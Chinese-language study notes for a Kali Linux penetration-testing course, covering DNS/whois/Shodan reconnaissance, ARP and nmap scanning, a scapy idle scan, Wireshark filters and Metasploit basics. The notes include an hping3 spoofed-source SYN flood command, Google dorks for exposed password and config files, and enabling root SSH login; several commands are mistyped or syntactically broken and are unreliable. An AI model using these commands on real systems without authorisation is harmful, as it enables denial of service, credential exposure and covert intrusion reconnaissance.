Kali-Linux
Configurate IP
/etc/resolv.conf # DNS设置
Temporary
ifconfig x.x.x.x/netmask
Persistent
/etc/network/interfaces
systemctl restart networking
Configurate SSHD service to allow root login SSHD
/etc/sshd/sshd_config
PermitRootLogin yes
APT
Configurate apt mirror
清华大学
/etc/apt/sources.list
deb http://mirrors.tuna.tsinghua.edu.cn/kali/ kali-rolling contrib main non-free
deb-src http://mirrors.tuna.tsinghua.edu.cn/kali/ kali-rolling contrib main non-free
Kali Rolling: Kali 的及时更新版。
Kali Rolling 下有 3 类软件包分别为:
- main
- non-free
- contrib
Kali apt 源的软件包类型说明:
dists 区域 | 软件包组件标准 |
---|---|
main | 遵从 Debian 自由软件指导方针(DFSG),并且不依赖于 non-free |
contrib | 遵从 Debian 自由软件指导方针(DFSG),并且依赖于 non-free |
non-free | 不遵从 Debian 自由软件指导方针(DFSG) |
P.S: DFSG 是 Debian 自由软件指导方针 (Debian Free Software Guidelines), 此方针中大体包括自由的再次发行、源代码、禁止歧视人士或者组织等规定
Diffs of Update
都是根据 update 命令获取最新的软件包列表
apt upgrade
: 如果有依赖性问题,并且此依赖性需要安装其它的 package OR 影响到其它 package 的依赖性时,此 package 就**==不会被升级==**,会保留下来
apt dist-upgrade
:可以聪明的解决依赖性问题,会自动安装/移除新的 package(通常来讲有一定的风险
信息收集
信息收集的方式可以分为两种: 被动和主动
- 被动: 是指利用第三方的服务对目标进行访问了解
- 如 Google
- 优点: 通过公开渠道,去获得目标主机的信息,从而不与目标系统直接交互,避免留下痕迹。
- 主动: 通过直接访问、扫描网站,这种将流量流经网站的行为。
- 比如: nmap 扫描端口
信息收集内容
- IP 地址段
- 域名信息
- 邮件地址
- 文档图片数据
- 公司地址
- 公司组织架构
- 联系电话/传真号码
- 人员姓名/职务
- 目标系统使用的技术架构
- 公开的商业信息
信息用途
- 信息描述目标
- 发现目标
- 社会工程学攻击
- 物理缺口
被动信息收集
DNS
域名记录
A 记录 (Address) 正向解析
A 记录是将一个主机名(全称域名 FQDN)和一个 IP 地址关联起来。这也是大多数客户端程序默认的查询类型。
例: xuegod.cn-> 8.8.8.6
PTR 记录 (Pointer) 反向解析
与 A 记录相反
将一个 IP 地址对应到主机名(全称域名 FQDN)。
这些记录保存在 in-addr.arpa
域中。
CNAME 记录 (Canonical Name) 别名
别名记录,也称为规范名字 (Canonical Name)
这种记录允许将多个名字映射到同一台计算机
如:
www.xuegod.cn -> 8.8.8.6
web.xuegod.cn -> 8.8.8.6
MX 记录 (Mail eXchange)
邮件交换记录,它指向一个邮件服务器,用于电子邮件系统发邮件时根据收信人的地址后缀来定位邮件服务器。
例: mail.xuegod.cn
当有多个 MX 记录 (即有多个邮件服务器)时,则需要设置数值来确定其优先级。
通过设置优先级数字来指明首选服务器,数字越小表示优先级越高。
NS 记录 (Name Server)
域名服务器记录,也称为授权服务器
用来指定该域名由哪个 DNS 服务器来进行解析。
例: dns.xuegod.cn
DNS 查询
递归查询 和 迭代查询
8 个步骤:
DNS 查询命令
nslooup domain
dig <option> domain
@xxx.xxx.xxx.xxx
: 指定特定 DNS 服务器any
: 输出所有记录,默认 A 记录-x
: 通过 IP 反向查询域名
查询 DNS 服务器你 bind 版本信息
查看域名服务器
ns3.dnsv4.com
使用 bind 的软件版本信息
dig txt chaos VERSION.BIND @ns3.dnsv4.com
<记录类型> <类级别>
;; Warning: query response not set
;; Warning: Message parser reports malformed message packet.
; <<>> DiG 9.16.15-Debian <<>> txt chaos VERSION.BIND @ns3.dnsv4.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 33161
;; flags: rd ad; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; WARNING: recursion requested but not available
;; QUESTION SECTION:
;VERSION.BIND. CH TXT
;; ANSWER SECTION:
VERSION.BIND. 0 CH TXT "DNSPod AUTHORITY DNS 7.1.2106.02" # 这是软件包版本信息
;; Query time: 10 msec
;; SERVER: 61.151.180.49##53(61.151.180.49)
;; WHEN: Tue Jan 18 19:26:37 CST 2022
;; MSG SIZE rcvd: 75
查询网站的域名 注册信息 和 备案信息
注册信息
- 通过 web 接口查询:
- 通过命令行:
whois domain
备案信息
使用 Maltego 收集子域名信息
该工具的主要重点是分析通过互联网访问的数据之间的真实世界关系,其中包括足迹互联网基础设施和收集有关拥有该网络的人员和组织的数据。
通过使用**OSINT (开源情报)**技术,通过查询 whois 记录,社交网络, DNS 记录,不同的在线 API,提取元数据和搜索引擎来搜索这些数据之间的连接。
该工具将提供广泛的图形布局结果,允许对数据进行聚类,使关系准确和即时。
顶级域名 和 子域名
顶级域名
顶级域名是域名的最后一个部分,如
http://example.com/
这个域名中,顶级域是.com (或.COM)
。
-
通用顶级类别域名共 6 个,
- 科研机构 .ac
- 工商金融企业 .com
- 教育机构 .edu
- 政府部门 .gov
- 互联网络信息中心 和 运行中心 .net
- 非盈利组织 .org
-
国家及地区顶级域
- 中国 .cn
- 英国 .uk
-
地理顶级域名一般由各个国家或地区负责管理。
子域名
子域名(Subdomain Name)凡顶级域名前加前缀的都是该顶级域名的子域名
子域名根据技术的多少分为:
- 二级子域名
- 三级子域名
- 多级子域名。
如: a.b.c.example.cn
即三级子域名
挖掘子域名的重要性
在防御措施严密情况下无法直接拿下主域,那么就可以采用迂回战术拿下子域名,然后无限靠近主域。
例如:
www.xxxxx.com
主域不存在漏洞,并且防护措施严密。而二级域名
edu.xxxxx.com
存在漏洞,并且防护措施松散。
-
子域名挖掘工具: Maltego 子域名挖掘机
-
搜索引擎挖掘如: 在 Google 中输入
site:qq.come
-
第三方网站查询:
-
证书透明度公开日志枚举:
-
其他途径:
使用 Maltego CE 进行子域名挖掘
…
使用 Shodan 信息收集
虽然目前人们都认为谷歌是最强劲的搜索引擎,但 Shodan 才是互联网上最可怕的搜索引擎。
与谷歌不同的是, Shodan 不是在网上搜索网址,而是直接进入互联网背后的通道。
Shodan 可以说是一款"黑暗"谷歌,一刻不停的在寻找着所有和互联网关联的服务器、摄像头、打印机、路由器等等。还可以直接显示出目标的具体地理位置信息
技巧
Webcam
…
IP 地址
net xxx.xxx.xxx.xxx
端口
port: 8888
- 3389
- 9200: 日志分析相关
- 3000
具体城市
city: Beijing
Google 搜索引擎的使用技巧
常用语法:
语法 | 说明 |
---|---|
site | 指定域名 |
==inurl== | URL 中存在的关键词页面 |
==intitle== | 网页标题中的关键字 |
intext | 网页内容里面的关键字 |
Filletype | 指定文件类型 |
link | 返回你所有的指定域名链接 |
info | 查找指定站点信息 |
cache | 搜索 Google 里的内容缓存 |
-
intitle:index.of .bash_history
index.of
: 表示包含index.of
字段,出现该字段表示网站目录是对我们开放的.bash_history
: 表示我们要筛选的文字名称
-
查找 mysql 配置文件
my.cnf
:intitle:index.of my.cnf
-
查找 mysql 密码的配置文件:
intitle:index.of config_global.php
-
删除的页面可以通过 cache 访问:
cache:xuegod.cn
-
name filetype:torrent
-
name site:xxx
组合使用技巧
intext:user.sql intitle:index.of
intext:user.sql
: 查询包含 user.sql 用户数据库信息的页面intitle:index.of
: 表示网站目录是开放状态
s3 site:amazonaws.com filetype:xls password
s3
: 亚马逊的一种服务器类型site: amazonaws.com
: 目标是亚马逊平台filetype:xls password
:文件类型 xls 包含密码的文件
说明 | 地址 |
---|---|
美国著名安全公司 Offensive Security 的漏洞库 [比较及时] | http://www.exploit-db.com |
赛门铁克的漏洞库(国际权威漏洞库) | http://www.securityfocus.com |
国家信息安全漏洞共享平台 | http://www.cnvd.org.cn/ |
国内安全厂商-绿盟科技 | http://www.nsfocus.net/ |
俄罗斯知名安全实验室 | https://www.securitylab.ru/vulnerability/CVE |
常见漏洞和披露 | http://cve.mitre.org/ |
信息安全漏洞门户 | http://vulhub.org.cn/index |
安全客 | https://www.anquanke.com/ |
美国国家信息安全漏洞库 | https://nvd.nist.gov/ |
知道创宇漏洞库 | https://www.seebug.org/ |
主动信息收集
原理
特点
- 直接与目标系统交互通信
- 无法避免留下访问的痕迹
- 使用受控的第三方电脑进行探测, 使用代理或已经被控制的机器,做好被封杀的准备
- 扫描发送不同的探测, 根据返回结果判断目标状态
过程
- 识别存活主机,发现潜在的被攻击目标
- 输出一个 IP 地址列表 (比如 IP 地址段****IP 地址范围)
- 使用二、三、四层进行探测发现
OSI 七层模型 和 TCP/IP 五层模型
对应的网络设备关系
对应的协议关系
-
二层扫描
<u>
优点</u>
- 扫描速度快
- 可靠
<u>
缺点</u>
- 不可路由
-
三层扫描的优缺点优点
-
<u>
优点</u>
- 可路由
- 速度较快
-
<u>
缺点</u>
- 速度比二层慢
- 经常被边界防火墙过滤
-
使用 IP、icmp 协议
-
-
四层扫描:
<u>
优点</u>
- 可路由 且 结果可靠
- 不太可能被防火墙过滤
- 可以发现所有端口都被过滤的主机
<u>
缺点</u>
- 基于状态过滤的防火墙可能会过滤扫描
- 全端口扫描速度慢
基于 PING 命令的探测
- PING
- Traceroute
- ARPING
- FPING
- HPING
- …
ARPING
ARP
ARP: ARP 协议是"Address Resolution Protocol" (地址解析协议的缩写
计算机通过 ARP 协议将 IP 地址转换成 MAC 地址
==工作原理==
在以太网中,数据传输的目标地址是 MAC 地址
一个主机要和另一个主机进行直接通信,必须要知道目标主机的 MAC 地址
计算机使用者遍常只知道目标机器的 IP 信息
地址解析: 主机在发送顿前将目标 iP 地址转换成目标 MAC 地址的过程。
简单地说,ARP 协议主要负责将局域网中的 32 位 IP 地址转换为对应的 48 位物理地址
即网卡的 MAC 地址,保障通信顺利进行。
https://www.bilibili.com/video/BV17M4y1578y?p=21&t=98.6
https://zhidao.baidu.com/question/424393648844562772.html
每个主机都会在自己的 ARP 缓冲区中建立一个 ARP 列表,以表示 IP 地址和 MAC 地址之间的对应关系。
当源主机要发送数据时,首先检查 ARP 列表中是否有对应 IP 地址的目的主机的 MAC 地址
如果有,则直接发送数据;如果没有,就向本网段的
<u>
所有主机</u>
发送 ARP 数据包该数据包包括的内容有:源主机 IP 地址 源主机 MAC 地址 目的主机的 IP 地址
当本网络的所有主机收到该 ARP 数据包时,首先检查数据包中的 IP 地址是否是自己的 IP 地址,如果不是,则忽略该数据包;否则,则首先从数据包中取出 源主机的 IP 和 MAC 地址 写入到 ARP 列表中,然后将自己的 MAC 地址写入 ARP 响应包中,告诉源主机自己是它想要找的 MAC 地址。
源主机收到 ARP 响应包后。将目的主机的 IP 和 MAC 地址写入 ARP 列表,并利用此信息发送数据。如果源主机一直没有收到 ARP 响应数据包,表示 ARP 查询失败。
广播发送 ARP 请求,单播发送 ARP 响应
使用 arping
命令查看局域网中的 IP 是否冲突
arping ip -c 1
利用 arping 扫描局域网
这里可以将 192.168.1.1 用 for 循环遍历 0-254
arping 192.168.1.1 -c 1 | grep "bytes from" | cut -d " " -f 5 | cut -d "( -f 2 | cut -d ")" -f 1
如果有 ip 冲突则会显示两个及以上
ifconfig eth0 192.168.1.1
使用 netdiscover 进行 <u>
被动方式 </u>
探测局域网中存活的主机
netdiscover 是一个主动/被动的 ARP 侦查工具
使用 netdiscover 工具可以在网络上扫描 IP 地址 检查在线主机 或 搜索为它们发送的 ARP 请求
主动模式:主动模式顾名思义就是主动的探测发现网络内主机,但是这种方式往往会引起网络管理员的注意
主动模式 (速度快)
netdiscover -i eth0 -r 192.168.1.0/24
被动模式 (速度较慢)
网卡被设置为混杂模式来侦听网络内的 arp 数据包进行被动式探测
这种方式就需要网络内设备发送 arp 包才能被探测到
netdiscover -p
HPING3
是一个命令行下使用的 TCP/IP 数据包 组装/份析工具
通常 web 服务会用来做压力测试使用,也可以进行 DOS 攻击的实验
Hping 只能每次扫描一个目标
hyping3 -c 1000 -d 120 -S -w 64 -p 80 --flood --rand-source url
-c
: 发送数据包数量
-S
: 发送 SYN 数据包
-d
: 发送数据包大小
-w
: TCP 窗口大小 (byte)
-p
: 端口
--flood
: 尽可能块的发送数据包,不需要考虑是否回复
--rand-source
: 伪造 IP 地址(在局域网内伪造) 在外网还是真实 IP 地址
FPING 查看局域网中运行了哪些机器
ping 命令加强版
它可以对一个 IP 段进行 ping 扫描
而 ping 命令本身是不可以对网段进行扫描的。
fping -g 192.168.1.0/24 -c 1 > fping.txt
fping -g 192.168.1.1 192.168.1.254 -c 1 > fping.txt
基于 Nmap 的扫描方式
nmap -sn 192.168.1.0/24
nmap -sn 192.168.1.1-254
-sn
: 只实现 ping 的功能
进行 <u>
半连接 </u>
扫描(端口)
nmap 扫描类型主要有 TCP 的:
- 全连接扫描(会在扫描机器留下记录 3 次握手)
- 半连接(不会留下记录 2 次握手)
RST
: RESET 强制关闭连接
nmap -sS -p 80,81,21,25,110,443
-sS
: 半连接扫描
使用 nc 扫描端口
netcat 的简写,有着网络界的瑞士军刀美誉。
因为它短小精悍、功能实用,被设计为一个简单、可靠的网络工具。
- 实现任意 TCP/UDP 端口的侦听: nc 可以作为 server 以 TCP 或 UDP 方式侦听指定端口
- 端口的扫描: nc 可以作为 client 发起 TCP 或 UDP 连接
- 机器之间传输文件
- 机器之间网络测速
nc 参数
-nv
: 不做域名解析 (扫描目标是个 IP)-w
: 超时时间 (second)-z
: 进行端口扫描
nc -nv -w 1 -z 192.168.1.1 1-100
使用 scapy 定制数据包进行高级扫描
一个可以让用户发送、监听、解析并伪装网络报文的 Python 程序。
这些功能作检测、扫描、攻击网络的工具
定制 ARP 协议
ARP().display()
###[ ARP ]###
hwtype= 0x1 # 硬件类型
ptype= IPv4 # 协议类型 (网络层)
hwlen= None # 硬件地址长度 (MAC)
plen= None # 协议地址长度 (IP)
# 1: 请求包 2: 响应包
op= who-has # who-has查询 ARP数据包类型
hwsrc= 00:0c:29:70:5c:06 # 源MAC地址
psrc= 192.168.3.53 # 源IP地址
hwdst= 00:00:00:00:00:00 # 目标MAC地址
pdst= 0.0.0.0 # 向谁发送查询请求
IP().display()
###[ IP ]###
version= 4 # 版本: 4 -> IPV4
ihl= None # 首部长度
tos= 0x0 # 服务 (流量标记)
len= None # 总长度
id= 1 # 表示
flags= # 1, 0 是否要分片(超过1500byes) 会进行分片
frag= 0 # 标志
ttl= 64 # 生存时间 防止环路 每经过一个网络设备-1 为0时自动抛弃
proto= hopopt # 传输控制协议 IPV4
chksum= None # 首部校验地址和
src= 127.0.0.1
dst= 127.0.0.1
\options\
ICMP().display()
###[ ICMP ]###
type= echo-request # 类型,表示ICMP报文类型
code= 0 # 代码
chksum= None # 校验和
id= 0x0 # 标识
seq= 0x0
TCP().display()
###[ TCP ]###
sport= ftp_data # TCP源端口
dport= http # TCP目的端口
seq= 0 # 32位序列号
ack= 0 # 32位确认序号
dataofs= None # 4位首部长度
reserved= 0 # 保留6位
# 标志域,紧急标志、有意义的应答标志、推、重置连接标志、同步序列号标志、完成发送数据标志。
# URG、ACK、PSH、RST、SYN、FIN
flags= S
window= 8192 # 窗口大小
chksum= None # 16位校验和
urgptr= 0 # 优先指针
options= [] # 选项
sr1()
: 发送与接收数据包的功能
sr1(ARP(pdst='192.168.1.1'))
发送 ping 包
IP()
生成 ping 包的 源 IP 和 目标 IP,ICMP()生成 ping 包的类型。使用
IP()
和ICMP()
两个函数,可以生成 ping 包,进行探测
思路:
- 修改 IP 包头的 dst,也就是目标地址
- 拼接上 ICMP 的数据包类型
- 使用
sr1()
进行发送 与接收 数据包
sr1(IP(dst='192.168.3.1')/ICMP(), timeout=1)
TCP SYN 请求
sr1(IP(dst='192.168.3.1')/TCP(flags='S', dport=80), timeout=1)
僵尸扫描
具有极高的隐蔽特性,但事实是条件苛刻
- 目标网络可伪造源地址进行访问
- 选择僵尸机,需要在互联网上是一个闲置的操作系统,需要系统使用递增的 IPID,比如 XP 系统
互动:
nmap和ping都会直接和目标机器接触。如何可以不直接与目标主机接触,还可以探测出目标主机是否
开放端口?
前提是你在公网或局域网上先拿到了肉机
<u>
僵尸扫描可以不拿到肉机权限,只要对方的 IPID 是自增长上的</u>
就可以了。
做渗透最重要是什么?思维!
学僵尸扫描实用性不大,但是僵尸扫描的这个种思维值得你学习。
僵尸主机:僵尸主机是指感染僵尸程序病毒,从而被黑客程序控制的计算机设备。
僵尸扫描中的僵尸主机指得是一个闲置的操作系统 (这里的闲置是指主机不会主动和任何人通信),且此系统中 IP 数据包中 ID 是递增的。
IPID
: 通信过程中,IP 数据包中的 ID
理论
-
**
<u>
==知道了僵尸主机的 IPID==</u>
**- 击者向僵尸机发送 SYN/ACK 确认包。
- 僵户主机返回我们 RST 数据包关闭链接,RST 数据包中包含了 IPID 信息。假设 IPID=x
-
**
<u>
==如果目标主机端口开放,让僵尸主机的 IPID+1==</u>
**- 攻击者修改 IP 包头的 SRC 字段为僵尸主机的 IP,伪装成僵尸主机给目标主机发 SYN 请求。
- 目标主机收到请求,如果**
<u>
端口是开放</u>
**的就会返回给僵尸主机一个 SYN/ACK 的数据包。 - 僵尸主机收到目标主机发来的 SYN/ACK 确认包,
<u>
因为僵尸主机没有给你发 SYN 请求</u>
。所以僵尸主机给目标主机返回了一个 RST 数据包。此僵尸主机对外发出一个数据包,所以僵尸主机的 IPID 值 +1,此时 IPID 值为 x+1
-
参考图三
- 攻击者再次向僵尸主机发送 SYN/ACK 确认包
- 僵尸主机同样向攻击者返回了一个 RST 数据包,此僵尸主机对外又发出一个数据包,所以僵尸主机的 IPID 值再 +1,此时 IPID 值为 x+2.
-
**
<u>
==肯定目标主机和僵尸主机通信了,能通信,就说明目标主机端口是开放的==</u>
**- 攻击者查看僵尸主机返回的数据包中 IPID 值为 x+2
- 攻击者对比在第一步中的 IPID 值 x,发现增加了 2
- 计算 3 次通信过中的 IPID 值。
注:三次握手的第一个包是 SYN,目标主机收到 SYN 才会应答 SYN/ACK,因为僵尸主机没有向我们发送 SYN 请求。所以僵尸主机返回我们 RST 数据包关闭链接。
判定关闭状态: 如果端口是关闭的,那么 2.2 就会发 RST 包,至此 Zombie 机也不会返回。
实践
192.168.1.54
: 僵尸主机
192.168.1.63
: 目标主机
set IPID = 0
rz1=sr1(IP(dst="192.168.1.54")/TCP(dport=445, flags="SA"))
SA
: SYN/ACK
RST
IPID = 1
rt=sr1(src="192.168.1.54", dst="192.168.1.63")/TCP(dport=445), timeout=1)
请求 445 SYN
if 445 open ->
192.168.1.63
sendSYN/ACK
->192.168.1.54
sendRST
->192.168.1.63
RST
==1:== IPID = 2
else ->
192.168.1.63
sendRST
->192.168.1.54
==2:== IPID = 1
rz2=sr1(dst="192.168.1.54")/TCP(dport=445, flags="SA"), timeout=1)
RST
==1:== IPID = 3 端口 443**开放**
==2:==IPID = 2 端口 443 关闭
利用 nmap 进行僵尸扫描
- 扫描
192.168.1.0
网段中某些机器可以作为僵尸主机
nmap 192.168.1.0/24 -p1-1024 --script=ipidseq.nse > a.txt
如果是
All zeros
那么就不是自增的,如果是 Increamental
就是自增的。
- 扫描
192.168.1.163
的端口
nmap 192.168.1.63 -sI 192.168.1.54 -p1-100
-sI
: 僵尸主机 IP
WireShark
WireShark 快速分析数据包技巧
-
确定 Wireshark 的物理位置
- 如果没有一个正确的位置,启动 Wireshark 后会花费很长的时间捕获一些与自己无关的数据。
-
选择捕获接口
- 一般都是选择连接到 Internet 网络的接口,这样才可以捕获到与网络相关的数据。否则,捕获到的其它数据对自己也没有任何帮助。
-
使用捕获过滤器
- 通过设置捕获过滤器,可以避免产生过大的捕获数据。这样用户在分析数据时,也不会受其它数据干扰。而且,还可以为用户节约大量的时间。
-
使用显示过滤器
- 通常使用捕获过滤器过滤后的数据,往往还是很复杂。为了使过滤的数据包再更细致,此时使用显示过滤器进行过滤。
-
使用着色规则
- 通常使用显示过滤器过滤后的数据,都是有用的数据包。如果想更加突出的显示某个会话,可以使用==着色规则高亮显示==。
-
构建图表
- 如果用户想要更明显的看出一个网络中数据的变化情况 1 使用图表的形式可以很方便的展现数据分布情况。
-
重组数据
- 当传输较大的图片或文件时,需要将信息分布在多个数据包中。这时候就需要使用,重组数据的方法来抓取完整的数据。Wireshark 的重组功能,可以重组一个会话中不同数据包的信息,或者是重组一个完整的图片或文件。
常见协议包
- ARP 协议
- ICMP 协议
- TCP 协议
- UDP 协议
- DNS 协议
- HTTP 协议
混杂&普通模式
- 混杂模式:接收所有经过网卡的数据包,包括不是发给本机的包,即不验证 MAC 地址。
- 普通模式:下网卡只接收发给本机的包(包括广播包)传递给上层程序,其它的包一律丢弃。
一般来说,混杂模式不会影响网卡的正常工作,多在网络监听工具上使用。
过滤器(filter)
TCP
tcp
: 过滤 TCP 数据包
tcp.flags.syn == 1
: 过滤 TCP 中的 syn 数据包
UDP
我们使用过滤器输入“udp”以筛选出 udp 报文。但是为什么输入 udp 之后出现那么多种协议呢?
原因就是 oicq 以及 dns 都是基于 udp 的传输层之上的协议
拓展:
扩展:客户端向 DNS 服务器查询域名!一般返回的内容都不超过 512 字节,用 UDP 传输即可。不
用经过三次握手,这样 DNS 服务器负载更低,响应更快。理论上说,客户端也可以指定向 DNS 服务器查询时用 TCP,但事实上,很多 DNS 服务器进行配置的时候,仅支持 UDP 查询包。
ARP
…
IP
筛选源地址(src)是 192.168.1.53 OR 目的地址(dest)是 192.168.1.1
ip.src_host == 192.168.1.53 or ip.dst_host == 192.168.1.1
ip.addr
: 包括 src 与 dest
使用 WireShark 对常用协议抓包并分析原理
https://www.bilibili.com/video/BV17M4y1578y?p=29
ICMP
ICMP 协议请求包
ICMP 协议应答包
工作过程:
本机发送一个 ICMP Echo Request 的包接受方返回一个 ICMP Echo Reply,包含了接受到数据烤贝和一些其他指令
TCP
https://www.bilibili.com/video/BV17M4y1578y?p=31
关闭连接 四次握手
我们分析一下过程,我们在终端输入 EXIT 实际上是在我们 Kali 上执行的命令,表示我们 SSHD 的
Server 端向客户端发起关闭链接请求。
- 服务端发送一个[FIN+ACK],表示自己没有数据要发送了,想断开连接,并进入 FINWAIT_1 状态。
- 客户端收到 FIN 后,知道不会再有数据从服务端传来,发送 ACK 进行确认,确认序号
为收到序号 +1(与 SYN 相同,一个 FIN 占用一个序号),客户端进入 CLOSE_WAIT 状态。 - 客户端发送[FIN+ACK]给对方,表示自己没有数据要发送了,客户端进入 LAST_ACK 状态,然后直接断开 TCP 会话的连接,释放相应的资源。
- 服务户端收到了客户端的 FIN 信令后,进入 TIMED_WAIT 状态,并发送 ACK 确认消息。服务端在 TIMEDWAIT 状态下,等待一段时间,没有数据到来,就认为对面已经收到了自己发送的 ACK 并正确关闭了进入 CLOSE 状态,自己也断开了 TCP 连接,释放所有资源。当客户端收到服务端的 ACK 回应后,会进入 CLOSE 状态并关闭本端的会话接口,释放相应资源。
Time to live exceeded 原因
TTL (Time-To-Live):数据报文的生存周期
默认 linux 操作系统值:64,每经过一个路由节点,TTL 值减 1。
TTL 值为 0 时,说明目标地址不
可达并返回:Time to live exceeded
作用:防止数据包,无限制在公网中转发(发生环路)。我们测试结果
通过 TTL,可以得知从 A -> B 之间经过了多少个网路设备
Reply from 139.159.241.37: bytes=32 time=35ms TTL=101
Windows 下默认 TTL 值大小为 128,那么就是 128 - 101 = 27,经过了 27 个网路设备
NMAP 高级使用技巧
nmap 是一个网络探测和安全扫描程序,系统管理者和个人可以使用这个软件扫描大型的网络,获取那台主机正在运行以及提供什么服务等信息。
nmap 支持很多扫描技术,例如:UDP、TCP connectO、TCPSYN(半开扫描)、ftp 代理(bounce 攻击)、反向标志、ICMP、FIN、ACK 扫描、圣诞树(XmasTree)、SYN 扫描和 null 扫描。还可以探测操作系统类型。
nmap 可用于:
- 检测活在网络上的主机(主机发现)
- 检测主机上开放的端口(端口发现或枚举)
- 检测到相应的端口(服务发现)的软件和版本
- 检测操作系统,硬件地址,以及软件版本
- 检测脆弱性的漏洞(Nmap 的脚本)
NMAP 端口状态解析
端口扫描是 Nmap 最基本最核心的功能,用于确定目标主机的 TCP/UDP 端口的开放情况。
-
<u>
Open</u>
:应用程序在该端口接收 TCP 连接或者 UDP 报文。 -
<u>
Closed</u>
:关闭的端口对于 nmap 也是可访问的,它接收 nmap 探测报文并作出响应。但没有应用程序在其上监听。 -
<u>
Fltered</u>
:由于包过滤阻止探测报文到达端口:nmap 无法确定该端口是否开放。过滤可能来自专业的防火墙设备,路由规则或者主机上的软件防火墙。
-
<u>
Unfiltered</u>
:未被过滤状态意味着端口可访问,但是 nmap 无法确定它是开放还是关闭。只有用于映射防火墙规则集的 ACK 扫描才会把端口分类到这个状态。
-
<u>
Open l Filitered</u>
:无法确定端口是开放还是被过滤,开放的端口不响应就是一个例子。没有响应也可能意味着报文过滤器丢弃了探测报文或者它引发的任何反应。UDP,IP 协议,FIN,Null 等扫描会引起。
-
<u>
Closedl | Filtered</u>
:(关闭或者被过滤的):无法确定端口是关闭的还是被过滤的。
语法及实例
语法:nmap[ScanType(s)][Optionsls
-
使用 nmap 扫描一台服务器
默认情况下,Nmap 会扫描 1000 个最有可能开放的 TCP 端口。
nmap ip
-
显示详细信息 (verbose)
nmap -v ip
-
扫描端口范围
nmap -p 1-65535 ip
-
不认识这个服务,查看哪个进程使用了这个端口并找出进程的路径,然后 kil 进程,删除文件,接下来以 22 端口为例,操作思路如下:
lsof -i :port ps -aux | grep port
注:看到进程的文件的路径是/usr/sbin/sshd。如果没有看到此命令的具体执行路径,说明此木马进程可以在 bash 终端下直接执行,通过
which
和rpm-qf
来查看命令的来源,如下:which command
总结:这个思路主要用于找出黑客监听的后门端口和木马存放的路径。
-
nmap -sS -O ip
-O
(Operation System): 显示出操作系统的类型。每一种操作系统都有一个指纹。-sS
: 半开扫描(half-open)可以不再目标主机留下痕迹当服务器端口开放时,半连接扫描过程如图 1
当服务器端口关闭时,半连接扫描过程如图 2
-
扫描一个网段的所有机器
nmap 192.168.1.0/4
-
查找一些有特点的 IP 地址中,开启 80 端口的服务器
nmap -p port ip
-
如何更隐藏的去扫描,频繁扫描会被屏蔽或者锁定 IP 地址
--randomize_hosts
: 随机扫描,对目标主机的顺序随机划分
--scan-delay
: 延时扫描,单位秒,调整探针之间的延退nmap --scan-delay 1000ms ip
-
使用通配符指定 IP
nmap 192.168.1.*
zenmap
-
Intense scan
nmap -T4-A -V
-A
: 完全扫描,对操作系统和软件版本号进行检测,并对目标进行 traceroute 路由探测,-0 参数
仅识别目标操作系统,并不做软件版本检测和路由探测。
-T4
: 指定扫描过程使用的时序(Timing),总有 6 个级别(0-5),级别越高,扫描速度越快,但也容易被防火墙或 IDS 检测并屏蔽掉,在网络通讯状况良好的情况推荐使用 T4。
-V
: 表示显示元余(verbosity)信息,在扫描过程中显示扫描的细节,从而让用户了解当前的扫描状态。
-
Intense scan plus UDP
nmap -sS -SU -T4 -A -v
即 UDP 扫描
-SS
: TCP SYN 扫描
-SU
: UDP 扫描
-
Intense scan, all TCP ports
nmap -p- -T4 -A -V
扫描所有 TCP 端口,范围在 1-65535,试图扫描所有端口的开放情况,速度比较慢。
-p-
: 1-65535
- Intense scan, no pings
nmap-T4-A-V-Pn
非 ping 扫描
-Pn
: 非 ping 扫描
-
Ping scan
nmap -sn
Ping 扫描
优点:速度快。
缺点:客易被防火墙屏蔽,导致无扫描结果。
-sn
: ping 扫描
- Quick scan
nmap -T4 -F
快速的扫描,常见的 100 个端口
-F
: 快速模式
- Quick scan plus
nmap -sV -T4 -O -F --version-light
快速扫描加强模式。
-sV
: 探测端口及版本服务信息。
-0
: 开启 05 检测
--version-light
: 设定侦测等级为 2
- Quick trace route
nmapsn--traceroute
路由跟踪
-sn
: Ping 扫描,关闭端口扫描
-traceroute
: 显示本机到目标的路由跃点。
- Regular scan (常规扫描)
- Slow comprehensive scan
nmap -sS -sU -T4 -A -v -PE -PP -PS80,443,-PA3389,PU40125 -PY -g 53 --scriptall
慢速全面扫描
Metaspoit 渗透测试框架基本使用
-
基础库:metasploit 基础库文件位于源码根目录路径下的 libraries 目录中,包括 Rex , framework-core, framework-base 三部分。
- Rex 是整个框架所依赖的最基础的一些组件,如包装的网络套接字、网络应用协议客户端与服务端实现、日志子系统、渗透攻击支持例程、PostgresQL 以及 MySQL 数据库支持等;
- framework-core 库负责实现所有与各种类型的上层模块及插件的交互接口;
- framework-base 库扩展了 framework-core,提供更加简单的包装例程,并为处理框架各个方面的功能提供了一些功能类,用于支持用户接口与功能程序调用框架本身功能及框架集成模块。
-
模块:模块组织按照不同的用途分为 6 种类型的模块(Modules):
- 辅助模块(Auxiliary)
- 渗透攻击模块(Exploits)
- 后渗透攻击模块(Post)
- 攻击载荷模块(payloads)
- 编码器模块(Encoders)
- 空指令模块(Nops)
注:payload 又称为攻击载荷,主要是用来建立目标机与攻击机稳定连接的,可返回 shell,也可以进行程序注入等。
- 插件:插件能够扩充框架的功能,或者组装已有功能构成高级特性的组件。插件可以集成现有的一些外部安全工具,如 Nessus、openVAS 漏洞扫描器等,为用户接口提供一些新的功能。
- 接白:包括 msfconsole 控制终端、msfdi 命令行、msfigi 形化界面、armitage 图形化界面以及 msfapi 远程调用接口。
- 功能程序:metasploit 还提供了一系列可直接运行的功能程序,支持渗透测试者与安全人员快速地利用 metasploit 框架内部能力完成一些特定任务。比如 msfpayload、msfencode 和 msfvenom 可以将攻击载荷封装为可执行文件、C 语言、JavaScript 语言等多种形式,并可以进行各种类型的编码。
文件结构
/usr/share/metasploitframework/
- data:Metasploit 使用的可编辑文件
- documentation:为框架提供文档
- Iib:框架代码库
- modules:实际的 MSF 模块
- plugins:可以在运行时加载的插件
- scripts:Meterpreter 和其他脚本
- tools:各种有用的命令行工具
基本使用
Metasploit 需要使用 Postgresql 数据库
Postgresql 概述:
PostgresQL 是一种特性非常齐全的自由软件的对象-关系型数据库管理系统(ORDBMS),是以加州大学计算机系开发的 POSTGRES4.2 版本为基础的对象关系型数据库管理系统。
注:PostgresQL:世界上最先进的开源关系数据库
